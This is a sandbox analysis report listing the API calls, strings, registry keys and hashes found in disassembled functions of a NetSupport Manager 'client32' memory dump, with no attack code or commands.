Instruction ID: 917d364d5c6b0b603fb0f9ba81c7ab37e2e4bb2b49ece13a51dcd12a3dfde8f6
Opcode Fuzzy Hash: 52e4332a4f1a6695b503962eca77932fd89c869ac73ece535db52d27cb53eafb
Instruction Fuzzy Hash: C251FC74F42366AFE712CBE0CC55F69F7957B84B0CF200064E6156B6C9DAB0B540CB95

Function 110310D5 Relevance: 30.1, APIs: 9, Strings: 8, Instructions: 315COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 110310D9
GetStockObject.GDI32(0000000D), ref: 110312E6
GetObjectA.GDI32(00000000,0000003C,?), ref: 110312F6
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 11031334
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 1103133A
InterlockedExchange.KERNEL32(01578D80,00001388), ref: 110313BA
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 110313EC

Strings

j, xrefs: 11031341
Error %s unloading audiocap dll, xrefs: 11031603
j0U, xrefs: 11031554
*, xrefs: 11031381
&, xrefs: 11031585
.%d, xrefs: 110313F6
pcicl32, xrefs: 110314C5
, xrefs: 110313C2

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorModeObject$ExchangeInfoInterlockedNativeStockSystem
String ID: .%d$Error %s unloading audiocap dll$j0U$pcicl32$&$*$j$
API String ID: 1428277488-3745656997
Opcode ID: 7ab4675b5621614b5560d1b38db1ee70649d60d135089b240ffcc9cb50bab512
Instruction ID: bbabce5d96ec2c90806d5611ae465d21da0aa0097d7318abfc1e6149708f9681
Opcode Fuzzy Hash: 7ab4675b5621614b5560d1b38db1ee70649d60d135089b240ffcc9cb50bab512
Instruction Fuzzy Hash: 60C137B0E162759EDF02CBF48C847DDFAF4AB8830CF0445BAE855A7285EB715A80C752

Function 110310AC Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 249COMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

GetStockObject.GDI32(0000000D), ref: 110312E6
GetObjectA.GDI32(00000000,0000003C,?), ref: 110312F6
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 11031334
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 1103133A
InterlockedExchange.KERNEL32(01578D80,00001388), ref: 110313BA
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 110313EC
_sprintf.LIBCMT ref: 11031401
_setlocale.LIBCMT ref: 1103140B

Strings

j, xrefs: 11031341
Error %s unloading audiocap dll, xrefs: 11031603
j0U, xrefs: 11031554
*, xrefs: 11031381
&, xrefs: 11031585
.%d, xrefs: 110313F6
pcicl32, xrefs: 110314C5
, xrefs: 110313C2

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorModeObject$ExchangeInterlockedStock_malloc_memset_setlocale_sprintfwsprintf
String ID: .%d$Error %s unloading audiocap dll$j0U$pcicl32$&$*$j$
API String ID: 4242130455-3745656997
Opcode ID: 9ce7f7efe95e834453681c4923fbfa899ecbeaf8ae4f254e48ac6de1b4bac228
Instruction ID: e9c6acc14f93b40a3e0eb8b8fbec85b26532d2932113fe6213d234842048e606
Opcode Fuzzy Hash: 9ce7f7efe95e834453681c4923fbfa899ecbeaf8ae4f254e48ac6de1b4bac228
Instruction Fuzzy Hash: 9891F6B0E06365DEEF02CBF488847ADFFF0AB8830CF1445AAD45597285EB755A40CB52

Function 110287A0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 130librarysynchronizationCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000102,NSM.LIC,00000009), ref: 110287F1

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

wsprintfA.USER32 ref: 11028814
WaitForSingleObject.KERNEL32(?,000000FF), ref: 11028859
GetExitCodeProcess.KERNEL32(?,?), ref: 1102886D
wsprintfA.USER32 ref: 11028891
CloseHandle.KERNEL32(?), ref: 110288A7
CloseHandle.KERNEL32(?), ref: 110288B0
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,?,?,?,NSM.LIC,00000009), ref: 11028911
GetModuleHandleA.KERNEL32(00000000,00000000,?,?,?,?,?,NSM.LIC,00000009), ref: 11028925

Strings

Locales\%d\, xrefs: 11028881
", xrefs: 110287EA
NSM.LIC, xrefs: 110287B9, 110288D0
pcicl32_res.dll, xrefs: 110288E9
Setting resource langid=%d, xrefs: 110288D1
SetClientResLang called, gPlatform %x, xrefs: 110287BC
\GetUserLang.exe", xrefs: 1102880E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$CloseModulewsprintf$CodeExitFileLibraryLoadNameObjectProcessSingleWait_strrchr
String ID: "$Locales\%d\$NSM.LIC$SetClientResLang called, gPlatform %x$Setting resource langid=%d$\GetUserLang.exe"$pcicl32_res.dll
API String ID: 512045693-419896573
Opcode ID: 4194357b8a76256af92b6f7944f8688d207fe32debab0c1448cef28b04dbc8d5
Instruction ID: fa2db278f690afc2f691dfd055e17c1d40a227d38623a0fdca6da18cc7b7963a
Opcode Fuzzy Hash: 4194357b8a76256af92b6f7944f8688d207fe32debab0c1448cef28b04dbc8d5
Instruction Fuzzy Hash: 4F41B679E40228ABD714CF94DC89FE6B7A8EB45709F0081A5F95497284DAB0AD45CFA0

Function 110860E0 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 218libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(PCIINV.DLL,AB86ACF8,037D6AE0,037D6AD0,?,00000000,1118368C,000000FF,?,11032002,037D6AE0,00000000,?,?,?), ref: 11086115

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

Part of subcall function 11110280: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,11110F3D,00000000,00000001,?,?,?,?,?,11031700), ref: 1111029E

GetProcAddress.KERNEL32(00000000,GetInventory), ref: 1108613B
GetProcAddress.KERNEL32(00000000,Cancel), ref: 1108614F
GetProcAddress.KERNEL32(00000000,GetInventoryEx), ref: 11086163
wsprintfA.USER32 ref: 110861EB
wsprintfA.USER32 ref: 11086202
wsprintfA.USER32 ref: 11086219
CloseHandle.KERNEL32(00000000,11085F40,00000001,00000000), ref: 1108636A

Part of subcall function 11085D50: CloseHandle.KERNEL32(?,74DEF550,?,?,11086390,?,11032002,037D6AE0,00000000,?,?,?), ref: 11085D68
Part of subcall function 11085D50: CloseHandle.KERNEL32(?,74DEF550,?,?,11086390,?,11032002,037D6AE0,00000000,?,?,?), ref: 11085D7B
Part of subcall function 11085D50: CloseHandle.KERNEL32(?,74DEF550,?,?,11086390,?,11032002,037D6AE0,00000000,?,?,?), ref: 11085D8E
Part of subcall function 11085D50: FreeLibrary.KERNEL32(00000000,74DEF550,?,?,11086390,?,11032002,037D6AE0,00000000,?,?,?), ref: 11085DA1

Strings

GetInventoryEx, xrefs: 11086157
%s_HF.%s, xrefs: 11086213
%s_HW.%s, xrefs: 110861E2
Cancel, xrefs: 11086149
GetInventory, xrefs: 11086135
%s_SW.%s, xrefs: 110861FC
PCIINV.DLL, xrefs: 11086110

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandlewsprintf$AddressProc$Library$CreateEventFreeLoad_malloc_memset
String ID: %s_HF.%s$%s_HW.%s$%s_SW.%s$Cancel$GetInventory$GetInventoryEx$PCIINV.DLL
API String ID: 4263811268-2492245516
Opcode ID: 79300dc539d0ee21f2e412ecc2afba85115f3a9800858e180ea8acaac6af75d4
Instruction ID: cc6116ccc6b21cbbfdc815c98c7fdad09c9720580d605ccac26d10648bac74b6
Opcode Fuzzy Hash: 79300dc539d0ee21f2e412ecc2afba85115f3a9800858e180ea8acaac6af75d4
Instruction Fuzzy Hash: 5471CDB4E44709ABEB10CF79DC51BDAFBE8EB48304F00456AF95AD7280EB75A500CB94

Function 11030B78 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 190synchronizationlibraryloaderCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(001F0001,00000000,PCIMutex), ref: 11030CB3
CreateMutexA.KERNEL32(00000000,00000000,PCIMutex), ref: 11030CCA
GetProcAddress.KERNEL32(?,SetProcessDPIAware), ref: 11030D6C
SetLastError.KERNEL32(00000078), ref: 11030D82
WaitForSingleObject.KERNEL32(?,000001F4), ref: 11030DBC
CloseHandle.KERNEL32(?), ref: 11030DC9
FreeLibrary.KERNEL32(?), ref: 11030DD4
CloseHandle.KERNEL32(00000000), ref: 11030DDB

Strings

/247, xrefs: 11030CD6
PCIMutex, xrefs: 11030CA3, 11030CC3
SetProcessDPIAware, xrefs: 11030D66
_debug\tracefile, xrefs: 11030C16
_debug\trace, xrefs: 11030C04
istaUI, xrefs: 11030BCD
SOFTWARE\Policies\NetSupport\Client\standard, xrefs: 11030BEA

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandleMutex$AddressCreateErrorFreeLastLibraryObjectOpenProcSingleWait
String ID: /247$PCIMutex$SOFTWARE\Policies\NetSupport\Client\standard$SetProcessDPIAware$_debug\trace$_debug\tracefile$istaUI
API String ID: 2061479752-1320826866
Opcode ID: 31d4d7e0d446ccaa05157b9b8574c54ec02251f8c6dcbf221a4ba88b6680946e
Instruction ID: 041cc1499d836288ec3ce923e3d2bdfde1aeba2e10a7f52041b4b34688633552
Opcode Fuzzy Hash: 31d4d7e0d446ccaa05157b9b8574c54ec02251f8c6dcbf221a4ba88b6680946e
Instruction Fuzzy Hash: 64610974E1631A9FEB15DBB08D89B9DF7B4AF4070DF0040A8E915A72C5EF74AA40CB51

Function 11106E70 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 153COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 11106E9E
EnterCriticalSection.KERNEL32(111F160C), ref: 11106EA7
GetTickCount.KERNEL32 ref: 11106EAD
GetTickCount.KERNEL32 ref: 11106F00
LeaveCriticalSection.KERNEL32(111F160C), ref: 11106F09
GetTickCount.KERNEL32 ref: 11106F3A
LeaveCriticalSection.KERNEL32(111F160C), ref: 11106F43
EnterCriticalSection.KERNEL32(111F160C), ref: 11106F6C
LeaveCriticalSection.KERNEL32(111F160C,00000000,?,00000000), ref: 11107033

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

Part of subcall function 110F1080: InitializeCriticalSection.KERNEL32(00000038,00000000,00000000,?,00000000,?,11106FD7,?), ref: 110F10AB

Strings

e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp, xrefs: 11106EEE, 11106FA3, 11106FE9
Warning. took %d ms to get simap lock, xrefs: 11106EB9
info. new psi(%d) = %x, xrefs: 11107021
Warning. simap lock held for %d ms, xrefs: 11106F19, 11106F53
psi, xrefs: 11106EF3, 11106FA8, 11106FEE

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$Leave$Enter$Initialize_malloc_memsetwsprintf
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock$e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp$info. new psi(%d) = %x$psi
API String ID: 1574099134-3013461081
Opcode ID: df4902ffb87e1d2cb2b27f82f6ea2afa4ed876c6644a62c430f637ec615cd2dd
Instruction ID: b37b6005da44a37f7a6c975450b0fd24ca11ef460d9c524a884b745d5c10ab20
Opcode Fuzzy Hash: df4902ffb87e1d2cb2b27f82f6ea2afa4ed876c6644a62c430f637ec615cd2dd
Instruction Fuzzy Hash: 5B414D7AF0022AABD700DFE59D91FDEFBB8EB46218F50053AF409E7240EA30690487D1

Function 1102D360 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 289servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,00000000,19141918,1102E368,00000000,AB86ACF8,?,00000000,00000000), ref: 1102D594
OpenServiceA.ADVAPI32(00000000,ProtectedStorage,00000004), ref: 1102D5AA
QueryServiceStatus.ADVAPI32(00000000,?), ref: 1102D5BE
CloseServiceHandle.ADVAPI32(00000000), ref: 1102D5C5
Sleep.KERNEL32(00000032), ref: 1102D5D6
CloseServiceHandle.ADVAPI32(00000000), ref: 1102D5E6
Sleep.KERNEL32(000003E8), ref: 1102D632
CloseHandle.KERNEL32(?), ref: 1102D65F

Strings

NSM.LIC, xrefs: 1102D697
IKS.LIC, xrefs: 1102D6B6, 1102D6BD, 1102D6ED
ProtectedStorage, xrefs: 1102D5A4
>, xrefs: 1102D50B
NSA.LIC, xrefs: 1102D6A6

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$OpenSleep$ManagerQueryStatus
String ID: >$IKS.LIC$NSA.LIC$NSM.LIC$ProtectedStorage
API String ID: 83693535-1096744297
Opcode ID: 16638ad64ad6c87bf80ad98c247ef6ea51b2bd2907fd9caef6a18a875ee6ead4
Instruction ID: 28ce5055a28a8f5180363266ffebbc24acbf765ee5ceddae65e6c679609cb99b
Opcode Fuzzy Hash: 16638ad64ad6c87bf80ad98c247ef6ea51b2bd2907fd9caef6a18a875ee6ead4
Instruction Fuzzy Hash: 3DB18F75E012259BEB25CF64CC84BEDB7B5BB49708F5041E9E919AB380DB70AE80CF50

Function 1102CB60 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 238synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 111100D0: SetEvent.KERNEL32(00000000,?,1102CB9F), ref: 111100F4

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102CBA5
GetTickCount.KERNEL32 ref: 1102CBCA

Part of subcall function 110D0960: __strdup.LIBCMT ref: 110D097A

GetTickCount.KERNEL32 ref: 1102CCC4

Part of subcall function 110D15C0: wvsprintfA.USER32(?,?,1102CC61), ref: 110D15EB

Part of subcall function 110D0A10: _free.LIBCMT ref: 110D0A3D

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102CDBC
CloseHandle.KERNEL32(?), ref: 1102CDD8

Strings

LatLong, xrefs: 1102CB88, 1102CC75
IsA(), xrefs: 1102CE0E, 1102CE22, 1102CE36, 1102CE4A
http://geo.netsupportsoftware.com/location/loca.asp, xrefs: 1102CBE5
GeoIP, xrefs: 1102CC13
_debug, xrefs: 1102CC18, 1102CC7A
?IP=%s, xrefs: 1102CC56
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102CE09, 1102CE1D, 1102CE31, 1102CE45
GetLatLong=%s, took %d ms, xrefs: 1102CCE1

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountObjectSingleTickWait$CloseEventHandle__strdup_freewvsprintf
String ID: ?IP=%s$GeoIP$GetLatLong=%s, took %d ms$IsA()$LatLong$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$http://geo.netsupportsoftware.com/location/loca.asp
API String ID: 596640303-1725438197
Opcode ID: 4b4be5afc825d4046c7b89c8e65dc4458f3d4dc60d274e6f777fc83c6e95621d
Instruction ID: dd5538bcf42f02d8fc6af97e821dff418cbfa7b7de554536dce4014f8caac367
Opcode Fuzzy Hash: 4b4be5afc825d4046c7b89c8e65dc4458f3d4dc60d274e6f777fc83c6e95621d
Instruction Fuzzy Hash: 62817E34E0021A9BDF04DBE4CD90FEEF7B5AF55348F508259E82667284DB74BA05CBA1

Function 11062220 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 135registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,Software\Policies\NetSupport\Client,00000000,00020019,?,00000000,?,?), ref: 1106227A

Part of subcall function 11061C60: RegOpenKeyExA.ADVAPI32(00000003,?,00000000,00020019,?,?), ref: 11061C9C
Part of subcall function 11061C60: RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,?,?,?,00000000), ref: 11061CF4

RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 110622CB
RegEnumKeyExA.ADVAPI32(?,00000001,?,00000100,00000000,00000000,00000000,00000000), ref: 11062385
RegCloseKey.ADVAPI32(?), ref: 110623A1

Strings

%s\%s\%s\, xrefs: 11062324
Software\Policies\NetSupport\Client\Standard, xrefs: 1106228D
Client.%04d.%s, xrefs: 11062307
Software\Policies\NetSupport\Client, xrefs: 11062274
Client, xrefs: 1106231A
DisableUserPolicies, xrefs: 110623B3
Client, xrefs: 11062288, 110623B8
Standard, xrefs: 110622E6
Software\Policies\NetSupport, xrefs: 1106231F

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Enum$Open$CloseValue
String ID: %s\%s\%s\$Client$Client$Client.%04d.%s$DisableUserPolicies$Software\Policies\NetSupport$Software\Policies\NetSupport\Client$Software\Policies\NetSupport\Client\Standard$Standard
